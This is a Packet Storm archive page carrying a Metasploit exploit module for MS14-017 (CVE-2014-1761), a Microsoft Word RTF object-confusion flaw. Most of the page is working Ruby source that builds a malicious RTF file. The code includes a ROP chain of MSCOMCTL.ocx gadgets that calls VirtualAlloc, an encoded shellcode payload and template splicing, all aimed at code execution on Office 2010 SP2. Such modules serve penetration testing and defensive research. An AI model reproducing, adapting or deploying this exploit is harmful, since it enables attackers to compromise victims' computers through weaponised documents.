exploit the possibilities

MS14-017 Microsoft Word RTF Object Confusion

MS14-017 Microsoft Word RTF Object Confusion
Posted Apr 9, 2014
Authored by Haifei Li, Spencer McIntyre | Site metasploit.com

This Metasploit module creates a malicious RTF file that when opened in vulnerable versions of Microsoft Word will lead to code execution. The flaw exists in how a listoverridecount field can be modified to treat one structure as another. This bug was originally seen being exploited in the wild starting in April 2014. This Metasploit module was created by reversing a public malware sample.

tags | exploit, code execution
advisories | CVE-2014-1761
MD5 | 0173b4b676a7c4cce5d3669d25e38c2e

MS14-017 Microsoft Word RTF Object Confusion

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => "MS14-017 Microsoft Word RTF Object Confusion",
'Description' => %q{
This module creates a malicious RTF file that when opened in
vulnerable versions of Microsoft Word will lead to code execution.
The flaw exists in how a listoverridecount field can be modified
to treat one structure as another.

This bug was originally seen being exploited in the wild starting
in April 2014. This module was created by reversing a public
malware sample.
},
'Author' =>
[
'Haifei Li', # vulnerability analysis
'Spencer McIntyre',
'unknown' # malware author
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2014-1761'],
['MSB', 'MS14-017'],
['URL', 'http://blogs.mcafee.com/mcafee-labs/close-look-rtf-zero-day-attack-cve-2014-1761-shows-sophistication-attackers'],
['URL', 'https://www.virustotal.com/en/file/e378eef9f4ea1511aa5e368cb0e52a8a68995000b8b1e6207717d9ed09e8555a/analysis/']
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Payload' =>
{
'StackAdjustment' => -3500,
'Space' => 375,
'DisableNops' => true
},
'Targets' =>
[
# winword.exe v14.0.7116.5000 (SP2)
[ 'Microsoft Office 2010 SP2 English on Windows 7 SP1 English', { } ],
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => 'Apr 1 2014'))

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.rtf'])
], self.class)
end

def exploit
junk = rand(0xffffffff)
rop_chain = [
0x275de6ae, # ADD ESP,0C # RETN [MSCOMCTL.ocx]
junk,
junk,
0x27594a2c, # PUSH ECX # POP ESP # AND DWORD PTR [ESI+64],0FFFFFFFB # POP ESI # POP ECX # RETN [MSCOMCTL.ocx]
0x2758b042, # RETN [MSCOMCTL.ocx]
0x2761bdea, # POP EAX # RETN [MSCOMCTL.ocx]
0x275811c8, # ptr to &VirtualAlloc() [IAT MSCOMCTL.ocx]
0x2760ea66, # JMP [EAX] [MSCOMCTL.ocx]
0x275e0081, # POP ECX # RETN [MSCOMCTL.ocx]
0x40000000,
0x00100000,
0x00003000,
0x00000040,
0x00001000,
0x275fbcfc, # PUSH ESP # POP EDI # POP ESI # RETN 8 [MSCOMCTL.ocx]
junk,
0x275e0861, # MOV EAX,EDI # POP EDI # POP ESI # RETN [MSCOMCTL.ocx]
junk,
junk,
junk,
junk,
0x275ebac1, # XCHG EAX,ESI # NOP # ADD EAX,MSORES+0x13000000 # RETN 4 [MSCOMCTL.ocx]
0x275e0327, # POP EDI # RETN [MSCOMCTL.ocx]
junk,
0x40000000,
0x275ceb04, # REP MOVS BYTE [EDI],BYTE [ESI] # XOR EAX,EAX # JMP MSCOMCTL!DllGetClassObject0x3860 [MSCOMCTL.ocx]
junk,
junk,
junk,
junk,
0x40000040
].pack("V*")

exploit_data = [ junk ].pack("v")
exploit_data << rop_chain
exploit_data << payload.encoded
exploit_data << make_nops(exploit_data.length % 2)
exploit_data = exploit_data.unpack("S<*")
exploit_data = exploit_data.map { |word| " ?\\u-#{0x10000 - word}" }
exploit_data = exploit_data.join

template_part1 = 0x1e04
template_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2014-1761.rtf")
template_rtf = ::File.open(template_path, 'rb')

exploit_rtf = template_rtf.read(template_part1)
exploit_rtf << exploit_data
exploit_rtf << template_rtf.read

file_create(exploit_rtf)
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close